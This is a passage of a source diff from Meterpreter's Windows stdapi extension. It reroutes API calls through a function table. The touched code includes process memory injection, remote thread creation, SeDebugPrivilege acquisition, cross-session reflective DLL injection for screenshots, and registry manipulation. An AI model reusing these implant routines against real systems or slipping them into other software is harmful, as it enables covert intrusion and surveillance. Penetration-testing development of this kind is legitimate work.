met_api->win_api.kernel32.GetLastError(); break; } @@ -469,16 +458,16 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) // Stash them name = (LPCSTR)nameTlv.buffer; - value = ntohl(*(PULONG)valueTlv.buffer); + value = met_api->win_api.ws2_32.ntohl(*(PULONG)valueTlv.buffer); // Set this register's value set_thread_register_value(&context, name, value); } // Update the thread's context - if (!SetThreadContext(thread, &context)) + if (!met_api->win_api.kernel32.SetThreadContext(thread, &context)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c index cd76250ae..423cceeaf 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c @@ -38,30 +38,30 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, // Create the thread in the target process if (!(thread = met_api->thread.create_remote(process, 0, codeInProcess, paramInProcess, 0, &threadId))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } // Wait for the thread to terminate - while ((wait = WaitForSingleObjectEx(thread, 1000, TRUE)) != WAIT_OBJECT_0) + while ((wait = met_api->win_api.kernel32.WaitForSingleObjectEx(thread, 1000, TRUE)) != WAIT_OBJECT_0) { if (wait == WAIT_FAILED) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } if (rv) { - GetExitCodeThread(thread, rv); + met_api->win_api.kernel32.GetExitCodeThread(thread, rv); } // Free the memory in the process - if ((!VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) || - (!VirtualFreeEx(process, paramInProcess, 0, MEM_RELEASE))) + if ((!met_api->win_api.kernel32.VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) || + (!met_api->win_api.kernel32.VirtualFreeEx(process, paramInProcess, 0, MEM_RELEASE))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } while (0); @@ -69,7 +69,7 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, // Close the thread handle if one was obtained if (thread) { - CloseHandle(thread); + met_api->win_api.kernel32.CloseHandle(thread); } return result; @@ -90,17 +90,17 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate, if (allocate) { // Allocate storage for the buffer - if (!(remoteBuffer = VirtualAllocEx(process, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE))) + if (!(remoteBuffer = met_api->win_api.kernel32.VirtualAllocEx(process, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } // Copy the memory from local to remote - if (!WriteProcessMemory(process, remoteBuffer, *buffer, length, &written)) + if (!met_api->win_api.kernel32.WriteProcessMemory(process, remoteBuffer, *buffer, length, &written)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -109,9 +109,9 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate, { DWORD old; - if (!VirtualProtectEx(process, remoteBuffer, length, prot, &old)) + if (!met_api->win_api.kernel32.VirtualProtectEx(process, remoteBuffer, length, prot, &old)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c b/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c index 223859880..f45b98417 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c @@ -22,9 +22,9 @@ DWORD request_registry_check_key_exists(Remote *remote, Packet *packet) if (rootKey && baseKey) { BOOL exists = FALSE; HKEY resultKey = NULL; - if (RegOpenKeyExW(rootKey, baseKey, 0, KEY_QUERY_VALUE, &resultKey) == ERROR_SUCCESS) { + if (met_api->win_api.advapi32.RegOpenKeyExW(rootKey, baseKey, 0, KEY_QUERY_VALUE, &resultKey) == ERROR_SUCCESS) { dprintf("[REG] Key found"); - RegCloseKey(resultKey); + met_api->win_api.advapi32.RegCloseKey(resultKey); exists = TRUE; } @@ -63,7 +63,7 @@ DWORD request_registry_load_key(Remote *remote, Packet *packet) DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey && hiveFile) { - result = RegLoadKeyW(rootKey, baseKey, hiveFile); + result = met_api->win_api.advapi32.RegLoadKeyW(rootKey, baseKey, hiveFile); } free(baseKey); @@ -85,7 +85,7 @@ DWORD request_registry_unload_key(Remote *remote, Packet *packet) DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey) { - result = RegUnLoadKeyW(rootKey, baseKey); + result = met_api->win_api.advapi32.RegUnLoadKeyW(rootKey, baseKey); } free(baseKey); @@ -107,7 +107,7 @@ static DWORD open_key(Packet *packet, HKEY *rootKey, HKEY *resKey) permission = KEY_ALL_ACCESS; } - result = RegOpenKeyExW(*rootKey, baseKey, 0, permission, resKey); + result = met_api->win_api.advapi32.RegOpenKeyExW(*rootKey, baseKey, 0, permission, resKey); } free(baseKey); @@ -170,7 +170,7 @@ DWORD request_registry_open_remote_key(Remote *remote, Packet *packet) // Validate the parameters and then attempt to create the key DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && targetHost) { - result = RegConnectRegistryW(targetHost, rootKey, &resKey); + result = met_api->win_api.advapi32.RegConnectRegistryW(targetHost, rootKey, &resKey); } // Add the HKEY if we succeeded, but always return a result @@ -213,7 +213,7 @@ DWORD request_registry_create_key(Remote *remote, Packet *packet) permission = KEY_ALL_ACCESS; } - result = RegCreateKeyExW(rootKey, baseKey, 0, NULL, 0, + result = met_api->win_api.advapi32.RegCreateKeyExW(rootKey, baseKey, 0, NULL, 0, permission, NULL, &resKey, NULL); } @@ -241,7 +241,7 @@ static void enum_key(Remote *remote, Packet *packet, HKEY hkey) } DWORD maxSubKeyLen; - result = RegQueryInfoKeyW(hkey, NULL, NULL, NULL, NULL, &maxSubKeyLen, + result = met_api->win_api.advapi32.RegQueryInfoKeyW(hkey, NULL, NULL, NULL, NULL, &maxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL); if (result != ERROR_SUCCESS) { goto err; @@ -257,7 +257,7 @@ static void enum_key(Remote *remote, Packet *packet, HKEY hkey) while (1) { - result = RegEnumKeyW(hkey, index, name, maxSubKeyLen); + result = met_api->win_api.advapi32.RegEnumKeyW(hkey, index, name, maxSubKeyLen); if (result == ERROR_SUCCESS) { char *tmp = met_api->string.wchar_to_utf8(name); @@ -293,7 +293,7 @@ static void enum_value(Remote *remote, Packet *packet, HKEY hkey) } DWORD maxValueNameLen; - result = RegQueryInfoKeyW(hkey, NULL, NULL, NULL, NULL, NULL, NULL, + result = met_api->win_api.advapi32.RegQueryInfoKeyW(hkey, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &maxValueNameLen, NULL, NULL, NULL); if (result != ERROR_SUCCESS) { goto err; @@ -310,7 +310,7 @@ static void enum_value(Remote *remote, Packet *packet, HKEY hkey) while (1) { DWORD valueLen = maxValueNameLen; - result = RegEnumValueW(hkey, index, name, &valueLen, + result = met_api->win_api.advapi32.RegEnumValueW(hkey, index, name, &valueLen, NULL, NULL, NULL, NULL); if (result == ERROR_SUCCESS) { @@ -369,7 +369,7 @@ DWORD request_registry_enum_key_direct(Remote *remote, Packet *packet) open_key(packet, &rootkey, &hkey); enum_key(remote, packet, hkey); if (hkey) { - RegCloseKey(hkey); + met_api->win_api.advapi32.RegCloseKey(hkey); } return ERROR_SUCCESS; @@ -399,9 +399,9 @@ DWORD request_registry_delete_key(Remote *remote, Packet *packet) DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey) { if (flags & DELETE_KEY_FLAG_RECURSIVE) { - result = SHDeleteKeyW(rootKey, baseKey); + result = met_api->win_api.shlwapi.SHDeleteKeyW(rootKey, baseKey); } else { - result = RegDeleteKeyW(rootKey, baseKey); + result = met_api->win_api.advapi32.RegDeleteKeyW(rootKey, baseKey); } } @@ -429,7 +429,7 @@ DWORD request_registry_close_key(Remote *remote, Packet *packet) DWORD result = ERROR_INVALID_PARAMETER; if (hkey) { - result = RegCloseKey(hkey); + result = met_api->win_api.advapi32.RegCloseKey(hkey); } // Set the result and send the response @@ -463,7 +463,7 @@ static char* reg_multi_sz_unparse(wchar_t* str, size_t* size) wchar_t* my_str = NULL; if ((!size) || (*size < 2 * sizeof(str[0]))) { - SetLastError(ERROR_BAD_ARGUMENTS); + met_api->win_api.kernel32.SetLastError(ERROR_BAD_ARGUMENTS); return NULL; } // if the input does not end in two null characters, then create and use our own buffer @@ -474,7 +474,7 @@ static char* reg_multi_sz_unparse(wchar_t* str, size_t* size) else { my_str = malloc(*size + (2 * sizeof(str[0]))); if (!my_str) { - SetLastError(ERROR_NOT_ENOUGH_MEMORY); + met_api->win_api.kernel32.SetLastError(ERROR_NOT_ENOUGH_MEMORY); goto out; } memset(my_str, 0, *size + (2 * sizeof(str[0]))); @@ -495,7 +495,7 @@ static char* reg_multi_sz_unparse(wchar_t* str, size_t* size) res = calloc(total_size + (count - 1) + 2, sizeof(char)); if (!res) { - SetLastError(ERROR_NOT_ENOUGH_MEMORY); + met_api->win_api.kernel32.SetLastError(ERROR_NOT_ENOUGH_MEMORY); goto out; } if (size) @@ -542,7 +542,7 @@ static wchar_t *reg_multi_sz_parse(char* str, size_t* size) char* my_str = NULL; if ((!size) || (*size < 2 * sizeof(str[0]))) { - SetLastError(ERROR_BAD_ARGUMENTS); + met_api->win_api.kernel32.SetLastError(ERROR_BAD_ARGUMENTS); return NULL; } // if the input does not end in two null characters create and user our own buffer @@ -552,7 +552,7 @@ static wchar_t *reg_multi_sz_parse(char* str, size_t* size) } else { my_str = malloc(*size + (2 * sizeof(str[0]))); if (!my_str) { - SetLastError(ERROR_NOT_ENOUGH_MEMORY); + met_api->win_api.kernel32.SetLastError(ERROR_NOT_ENOUGH_MEMORY); goto out; } memset(my_str, 0, *size + (2 * sizeof(str[0]))); @@ -573,7 +573,7 @@ static wchar_t *reg_multi_sz_parse(char* str, size_t* size) res = calloc(total_size + (count - 1) + 2, sizeof(wchar_t)); if (!res) { - SetLastError(ERROR_NOT_ENOUGH_MEMORY); + met_api->win_api.kernel32.SetLastError(ERROR_NOT_ENOUGH_MEMORY); goto out; } if (size) @@ -635,7 +635,7 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey) len = valueData.header.length; buf = valueData.buffer; } - result = RegSetValueExW(hkey, valueName, 0, valueType, buf, (DWORD)len); + result = met_api->win_api.advapi32.RegSetValueExW(hkey, valueName, 0, valueType, buf, (DWORD)len); if (buf != valueData.buffer) { free(buf); } @@ -684,7 +684,7 @@ DWORD request_registry_set_value_direct(Remote *remote, Packet *packet) open_key(packet, &rootkey, &hkey); set_value(remote, packet, hkey); if (hkey) { - RegCloseKey(hkey); + met_api->win_api.advapi32.RegCloseKey(hkey); } return ERROR_SUCCESS; @@ -708,7 +708,7 @@ static void query_value(Remote *remote, Packet *packet, HKEY hkey) valueName = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); // Get the size of the value data - if ((result = RegQueryValueExW(hkey, valueName, 0, NULL, NULL, + if ((result = met_api->win_api.advapi32.RegQueryValueExW(hkey, valueName, 0, NULL, NULL, &valueDataSize)) != ERROR_SUCCESS) { goto err; } @@ -721,7 +721,7 @@ static void query_value(Remote *remote, Packet *packet, HKEY hkey) } // Query the value's information - if ((result = RegQueryValueExW(hkey, valueName, 0, &valueType, valueData, + if ((result = met_api->win_api.advapi32.RegQueryValueExW(hkey, valueName, 0, &valueType, valueData, &valueDataSize)) != ERROR_SUCCESS) { goto err; } @@ -803,7 +803,7 @@ DWORD request_registry_query_value_direct(Remote *remote, Packet *packet) open_key(packet, &rootkey, &hkey); query_value(remote, packet, hkey); if (hkey) { - RegCloseKey(hkey); + met_api->win_api.advapi32.RegCloseKey(hkey); } return ERROR_SUCCESS; @@ -840,7 +840,7 @@ DWORD request_registry_enum_value_direct(Remote *remote, Packet *packet) open_key(packet, &rootkey, &hkey); enum_value(remote, packet, hkey); if (hkey) { - RegCloseKey(hkey); + met_api->win_api.advapi32.RegCloseKey(hkey); } return ERROR_SUCCESS; @@ -866,7 +866,7 @@ DWORD request_registry_delete_value(Remote *remote, Packet *packet) DWORD result = ERROR_INVALID_PARAMETER; if (hkey && valueName) { - result = RegDeleteValueW(hkey, valueName); + result = met_api->win_api.advapi32.RegDeleteValueW(hkey, valueName); } free(valueName); @@ -899,7 +899,7 @@ DWORD request_registry_query_class(Remote *remote, Packet *packet) DWORD classNameLen = 4096; char className[4096]; - result = RegQueryInfoKeyA(hkey, className, &classNameLen, + result = met_api->win_api.advapi32.RegQueryInfoKeyA(hkey, className, &classNameLen, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (result == ERROR_SUCCESS) { met_api->packet.add_tlv_raw(response, TLV_TYPE_VALUE_DATA, diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/session.c b/c/meterpreter/source/extensions/stdapi/server/sys/session.c index ba9406117..c1c2f0a4c 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/session.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/session.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "session.h" /* @@ -6,70 +7,30 @@ * Returns -1 if we cant determine the session id (e.g. insufficient privileges). * Returns 0 by default on NT4. */ -DWORD session_id( DWORD dwProcessId ) -{ - typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); - - static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL; - HMODULE hKernel = NULL; - DWORD dwSessionId = 0; - - do - { - if( !pProcessIdToSessionId ) - { - hKernel = LoadLibrary( "kernel32.dll" ); - if( hKernel ) - pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" ); - } - - if( !pProcessIdToSessionId ) - break; - - if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) ) - dwSessionId = -1; - - } while( 0 ); - - if( hKernel ) - FreeLibrary( hKernel ); - - return dwSessionId; -} +DWORD session_id( DWORD dwProcessId ) +{ + DWORD dwSessionId = 0; + + met_api->win_api.kernel32.SetLastError(ERROR_PROC_NOT_FOUND); + if( !met_api->win_api.kernel32.ProcessIdToSessionId( dwProcessId, &dwSessionId ) ) + { + // ProcessIdToSessionId is absent on NT4, where session zero is the + // historical fallback. Other failures still mean "unknown". + if( met_api->win_api.kernel32.GetLastError() != ERROR_PROC_NOT_FOUND ) + dwSessionId = -1; + } + + return dwSessionId; +} /* * Returns the session id attached to the physical console. * Returns 0 by default on NT4 and 2000. */ -DWORD session_activeid() -{ - typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID ); - - static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL; - HMODULE hKernel = NULL; - DWORD dwSessionId = 0; - - do - { - if( !pWTSGetActiveConsoleSessionId ) - { - hKernel = LoadLibrary( "kernel32.dll" ); - if( hKernel ) - pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" ); - } - - if( !pWTSGetActiveConsoleSessionId ) - break; - - dwSessionId = pWTSGetActiveConsoleSessionId(); - - } while( 0 ); - - if( hKernel ) - FreeLibrary( hKernel ); - - return dwSessionId; -} +DWORD session_activeid() +{ + return met_api->win_api.kernel32.WTSGetActiveConsoleSessionId(); +} /* * On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available. @@ -85,11 +46,11 @@ DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, LP { HANDLE hProcess = NULL; - hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); + hProcess = met_api->win_api.kernel32.OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); if( !hProcess ) continue; - CloseHandle( hProcess ); + met_api->win_api.kernel32.CloseHandle( hProcess ); if( dwSessionId == session_id( pid ) ) { @@ -112,54 +73,39 @@ DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, LP */ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader, char * cpCommandLine ) { - DWORD dwResult = ERROR_INVALID_HANDLE; - CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL; - PROCESS32FIRSTW pProcess32FirstW = NULL; - PROCESS32NEXTW pProcess32NextW = NULL; - HANDLE hProcessSnap = NULL; - HMODULE hKernel = NULL; - HANDLE hToken = NULL; + DWORD dwResult = ERROR_INVALID_HANDLE; + HANDLE hProcessSnap = NULL; + HANDLE hToken = NULL; BOOL bUseBruteForce = TRUE; PROCESSENTRY32W pe32 = {0}; do { // If we can, get SeDebugPrivilege... - if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) + if( met_api->win_api.advapi32.OpenProcessToken( met_api->win_api.kernel32.GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { TOKEN_PRIVILEGES priv = {0}; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + if( met_api->win_api.advapi32.LookupPrivilegeValueA( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) { - if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) ); + if( met_api->win_api.advapi32.AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) ); dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" ); } - CloseHandle( hToken ); + met_api->win_api.kernel32.CloseHandle( hToken ); } - hKernel = LoadLibrary( "kernel32" ); - if( !hKernel ) - break; - - pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" ); - pProcess32FirstW = (PROCESS32FIRSTW)GetProcAddress( hKernel, "Process32FirstW" ); - pProcess32NextW = (PROCESS32NEXTW)GetProcAddress( hKernel, "Process32NextW" ); - - if( !pCreateToolhelp32Snapshot || !pProcess32FirstW || !pProcess32NextW ) - break; - - hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); - if( hProcessSnap == INVALID_HANDLE_VALUE ) - break; + hProcessSnap = met_api->win_api.kernel32.CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); + if( hProcessSnap == INVALID_HANDLE_VALUE ) + break; pe32.dwSize = sizeof( PROCESSENTRY32W ); - if( !pProcess32FirstW( hProcessSnap, &pe32 ) ) - break; + if( !met_api->win_api.kernel32.Process32FirstW( hProcessSnap, &pe32 ) ) + break; bUseBruteForce = FALSE; @@ -179,16 +125,13 @@ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, LPCSTR reflect break; } } - } while( pProcess32NextW( hProcessSnap, &pe32 ) ); + } while( met_api->win_api.kernel32.Process32NextW( hProcessSnap, &pe32 ) ); } while( 0 ); if( hProcessSnap ) - CloseHandle( hProcessSnap ); + met_api->win_api.kernel32.CloseHandle( hProcessSnap ); - if( hKernel ) - FreeLibrary( hKernel ); - // On NT4 we must brute force the process list... if( bUseBruteForce ) dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer, reflectiveLoader, cpCommandLine ); diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c index 1e76f9c0c..343802ff0 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c @@ -32,7 +32,7 @@ BOOL CALLBACK desktop_enumdesktops_callback(LPTSTR cpDesktopName, LPARAM lpParam break; } - dwSessionId = htonl(dl->dwSessionId); + dwSessionId = met_api->win_api.ws2_32.htonl(dl->dwSessionId); entry[0].header.type = TLV_TYPE_DESKTOP_SESSION; entry[0].header.length = sizeof(DWORD); @@ -63,23 +63,23 @@ BOOL CALLBACK desktop_enumstations_callback(LPTSTR cpStationName, LPARAM param) do { - hWindowStation = OpenWindowStation(cpStationName, FALSE, MAXIMUM_ALLOWED); // WINSTA_ALL_ACCESS + hWindowStation = met_api->win_api.user32.OpenWindowStationA(cpStationName, FALSE, MAXIMUM_ALLOWED); // WINSTA_ALL_ACCESS if (!hWindowStation) { break; } - dl.dwSessionId = session_id(GetCurrentProcessId()); + dl.dwSessionId = session_id(met_api->win_api.kernel32.GetCurrentProcessId()); dl.response = (Packet *)param; dl.cpStationName = cpStationName; - EnumDesktops(hWindowStation, desktop_enumdesktops_callback, (LPARAM)&dl); + met_api->win_api.user32.EnumDesktopsA(hWindowStation, desktop_enumdesktops_callback, (LPARAM)&dl); } while (0); if (hWindowStation) { - CloseWindowStation(hWindowStation); + met_api->win_api.user32.CloseWindowStation(hWindowStation); } return TRUE; @@ -101,7 +101,7 @@ DWORD request_ui_desktop_enum(Remote * remote, Packet * request) BREAK_WITH_ERROR("[UI] desktop_enum. met_api->packet.create_response failed", ERROR_INVALID_HANDLE); } - EnumWindowStations(desktop_enumstations_callback, (LPARAM)response); + met_api->win_api.user32.EnumWindowStationsA(desktop_enumstations_callback, (LPARAM)response); } while (0); @@ -179,7 +179,7 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) if (dwSessionId == -1) { - dwSessionId = session_id(GetCurrentProcessId()); + dwSessionId = session_id(met_api->win_api.kernel32.GetCurrentProcessId()); } cpStationName = met_api->packet.get_tlv_value_string(request, TLV_TYPE_DESKTOP_STATION); @@ -199,14 +199,14 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) dprintf("[UI] desktop_set: Session %d\\%s\\%s (bSwitch=%d)", dwSessionId, cpStationName, cpDesktopName, bSwitch); // If we are switching desktop in our own session we proceed with the normal Windows API - if (dwSessionId == session_id(GetCurrentProcessId())) + if (dwSessionId == session_id(met_api->win_api.kernel32.GetCurrentProcessId())) { - hWindowStation = OpenWindowStation(cpStationName, FALSE, WINSTA_ALL_ACCESS); // WINSTA_ALL_ACCESS MAXIMUM_ALLOWED + hWindowStation = met_api->win_api.user32.OpenWindowStationA(cpStationName, FALSE, WINSTA_ALL_ACCESS); // WINSTA_ALL_ACCESS MAXIMUM_ALLOWED if (!hWindowStation) { - if (RevertToSelf()) + if (met_api->win_api.advapi32.RevertToSelf()) { - hWindowStation = OpenWindowStation(cpStationName, FALSE, WINSTA_ALL_ACCESS); + hWindowStation = met_api->win_api.user32.OpenWindowStationA(cpStationName, FALSE, WINSTA_ALL_ACCESS); } } @@ -215,29 +215,29 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) BREAK_WITH_ERROR("[UI] desktop_set. Couldnt get the new Window Station", ERROR_INVALID_HANDLE); } - hOrigWindowStation = GetProcessWindowStation(); + hOrigWindowStation = met_api->win_api.user32.GetProcessWindowStation(); - if (!SetProcessWindowStation(hWindowStation)) + if (!met_api->win_api.user32.SetProcessWindowStation(hWindowStation)) { - BREAK_ON_ERROR("[UI] desktop_set. SetProcessWindowStation failed"); + BREAK_WITH_ERROR("[UI] desktop_set. SetProcessWindowStation failed", met_api->win_api.kernel32.GetLastError()); } - hDesktop = OpenDesktop(cpDesktopName, 0, FALSE, GENERIC_ALL); + hDesktop = met_api->win_api.user32.OpenDesktopA(cpDesktopName, 0, FALSE, GENERIC_ALL); if (!hDesktop) { - BREAK_ON_ERROR("[UI] desktop_set. OpenDesktop failed"); + BREAK_WITH_ERROR("[UI] desktop_set. OpenDesktop failed", met_api->win_api.kernel32.GetLastError()); } - if (!SetThreadDesktop(hDesktop)) + if (!met_api->win_api.user32.SetThreadDesktop(hDesktop)) { - BREAK_ON_ERROR("[UI] desktop_set. SetThreadDesktop failed"); + BREAK_WITH_ERROR("[UI] desktop_set. SetThreadDesktop failed", met_api->win_api.kernel32.GetLastError()); } if (bSwitch) { - if (!SwitchDesktop(hDesktop)) + if (!met_api->win_api.user32.SwitchDesktop(hDesktop)) { - BREAK_ON_ERROR("[UI] desktop_set. SwitchDesktop failed"); + BREAK_WITH_ERROR("[UI] desktop_set. SwitchDesktop failed", met_api->win_api.kernel32.GetLastError()); } } @@ -258,17 +258,17 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) if (hDesktop) { - CloseDesktop(hDesktop); + met_api->win_api.user32.CloseDesktop(hDesktop); } if (hWindowStation) { - CloseWindowStation(hWindowStation); + met_api->win_api.user32.CloseWindowStation(hWindowStation); } if (hOrigWindowStation) { - SetProcessWindowStation(hOrigWindowStation); + met_api->win_api.user32.SetProcessWindowStation(hOrigWindowStation); } if (dwResult != ERROR_SUCCESS) @@ -313,10 +313,10 @@ DWORD THREADCALL desktop_screenshot_thread(THREAD * thread) dprintf("[UI] desktop_screenshot_thread. cpNamedPipe=%s", cpNamedPipe); // create the named pipe for the client service to connect to - hServerPipe = CreateNamedPipe(cpNamedPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, NULL); + hServerPipe = met_api->win_api.kernel32.CreateNamedPipeA(cpNamedPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, NULL); if (!hServerPipe) { - BREAK_ON_ERROR("[UI] desktop_screenshot_thread. CreateNamedPipe failed"); + BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. CreateNamedPipe failed", met_api->win_api.kernel32.GetLastError()); } while (TRUE) @@ -327,16 +327,16 @@ DWORD THREADCALL desktop_screenshot_thread(THREAD * thread) } // wait for a client to connect to our named pipe... - if (!ConnectNamedPipe(hServerPipe, NULL) && GetLastError() != ERROR_PIPE_CONNECTED) + if (!met_api->win_api.kernel32.ConnectNamedPipe(hServerPipe, NULL) && met_api->win_api.kernel32.GetLastError() != ERROR_PIPE_CONNECTED) { continue; } dprintf("[UI] desktop_screenshot_thread. got client conn."); - if (!ReadFile(hServerPipe, &dwLength, sizeof(DWORD), &dwRead, NULL)) + if (!met_api->win_api.kernel32.ReadFile(hServerPipe, &dwLength, sizeof(DWORD), &dwRead, NULL)) { - BREAK_ON_ERROR("[UI] desktop_screenshot_thread. ReadFile 1 failed"); + BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. ReadFile 1 failed", met_api->win_api.kernel32.GetLastError()); } // a client can send a zero length to indicate that it cant get a screenshot. @@ -355,18 +355,18 @@ DWORD THREADCALL desktop_screenshot_thread(THREAD * thread) { DWORD dwAvailable = 0; - if (!PeekNamedPipe(hServerPipe, NULL, 0, NULL, &dwAvailable, NULL)) + if (!met_api->win_api.kernel32.PeekNamedPipe(hServerPipe, NULL, 0, NULL, &dwAvailable, NULL)) { break; } if (!dwAvailable) { - Sleep(100); + met_api->win_api.kernel32.Sleep(100); continue; } - if (!ReadFile(hServerPipe, (LPVOID)(pBuffer + dwTotal), (dwLength - dwTotal), &dwRead, NULL)) + if (!met_api->win_api.kernel32.ReadFile(hServerPipe, (LPVOID)(pBuffer + dwTotal), (dwLength - dwTotal), &dwRead, NULL)) { break; } @@ -383,8 +383,14 @@ DWORD THREADCALL desktop_screenshot_thread(THREAD * thread) if (hServerPipe) { - DisconnectNamedPipe(hServerPipe); - CLOSE_HANDLE(hServerPipe); + DWORD dwHandleFlags; + + met_api->win_api.kernel32.DisconnectNamedPipe(hServerPipe); + if (met_api->win_api.kernel32.GetHandleInformation(hServerPipe, &dwHandleFlags)) + { + met_api->win_api.kernel32.CloseHandle(hServerPipe); + } + hServerPipe = NULL; } SAFE_FREE(pBuffer); @@ -444,13 +450,13 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) } // get the session id that our host process belongs to - dwCurrentSessionId = session_id(GetCurrentProcessId()); + dwCurrentSessionId = session_id(met_api->win_api.kernel32.GetCurrentProcessId()); // get the session id for the interactive session dwActiveSessionId = session_activeid(); // create a uniuqe pipe name for our named pipe server - dwPipeName = GetTickCount(); + dwPipeName = met_api->win_api.kernel32.GetTickCount(); _snprintf(cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName); @@ -471,7 +477,7 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) BREAK_WITH_ERROR("[UI] desktop_screenshot. met_api->thread.run failed", ERROR_ACCESS_DENIED); } - Sleep(500); + met_api->win_api.kernel32.Sleep(500); // do the local process or session injection if (dwCurrentSessionId != dwActiveSessionId) @@ -485,7 +491,7 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) else { dprintf("[UI] desktop_screenshot. Allready in the active session %d.\n", dwActiveSessionId); - if (ps_inject(GetCurrentProcessId(), &dllBuffer, reflectiveLoader, cCommandLine) != ERROR_SUCCESS) + if (ps_inject(met_api->win_api.kernel32.GetCurrentProcessId(), &dllBuffer, reflectiveLoader, cCommandLine) != ERROR_SUCCESS) { BREAK_WITH_ERROR("[UI] desktop_screenshot. ps_inject current process failed", ERROR_ACCESS_DENIED); } @@ -494,7 +500,7 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) // Wait for at most 30 seconds for the screenshot to happen... // If we have injected our code via APC injection, it may take a while for the target // thread to enter an alertable state and get our queued APC executed. - WaitForSingleObject(pPipeThread->handle, 30000); + met_api->win_api.kernel32.WaitForSingleObject(pPipeThread->handle, 30000); // signal 